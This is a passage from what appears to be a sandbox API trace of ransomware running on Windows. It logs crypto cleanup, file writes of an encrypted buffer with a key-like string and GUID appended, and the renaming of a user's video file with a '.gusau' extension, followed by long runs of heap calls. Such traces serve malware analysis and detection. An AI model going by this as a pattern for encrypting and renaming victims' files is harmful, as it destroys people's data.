[0118.483] GetLastError () returned 0x0 [0118.483] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.483] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x4c30) returned 0x39f9f20 [0118.484] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.484] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.484] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x4c2b, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x4c2b, lpOverlapped=0x0) returned 1 [0118.484] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.484] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x4c30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.484] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.484] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.484] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.484] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.484] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.484] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.484] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.484] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.484] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.484] CloseHandle (hObject=0x610) returned 1 [0118.485] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.485] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0118.485] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\UtVdyOv5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\utvdyov5.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\UtVdyOv5.swf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\utvdyov5.swf.gusau")) returned 1 [0118.486] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.486] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.487] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaf8a660, ftCreationTime.dwHighDateTime=0x1d4d1a1, ftLastAccessTime.dwLowDateTime=0x7f1948b0, ftLastAccessTime.dwHighDateTime=0x1d4c64a, ftLastWriteTime.dwLowDateTime=0x7f1948b0, ftLastWriteTime.dwHighDateTime=0x1d4c64a, nFileSizeHigh=0x0, nFileSizeLow=0x4c30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UtVdyOv5.swf", cAlternateFileName="")) returned 0 [0118.487] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.487] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb200 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb2d0 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941bf8 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941ce8 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941d60 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941dd8 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941838 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941748 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8f38 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b08 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f83b0 | out: hHeap=0xd10000) returned 1 [0118.487] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8070 | out: hHeap=0xd10000) returned 1 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f80d8 | out: hHeap=0xd10000) returned 1 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b08 [0118.488] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.488] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.488] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.490] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, 